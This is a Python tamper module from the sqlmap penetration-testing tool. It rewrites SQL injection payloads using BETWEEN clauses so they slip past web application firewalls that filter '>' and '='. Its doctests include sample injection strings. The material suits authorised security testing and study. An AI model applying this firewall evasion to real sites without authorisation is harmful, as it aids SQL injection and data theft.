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#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces the greater-than operator (>) with NOT BETWEEN 0 AND # and the equal sign (=) with BETWEEN # AND #
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls that
filter the greater than character
* The BETWEEN clause is SQL standard. Hence, this tamper script
should work against all (?) databases
>>> tamper('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
>>> tamper('1 AND A = B--')
'1 AND A BETWEEN B AND B--'
>>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()')
'1 AND LAST_INSERT_ROWID() BETWEEN LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()'
"""
retVal = payload
if payload:
match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>]+)\s*\Z", payload)
if match:
_ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5))
retVal = retVal.replace(match.group(0), _)
else:
retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", r" NOT BETWEEN 0 AND \g<1>", payload)
if retVal == payload:
match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*([\w()]+)\s*", payload)
if match:
_ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5))
retVal = retVal.replace(match.group(0), _)
return retVal
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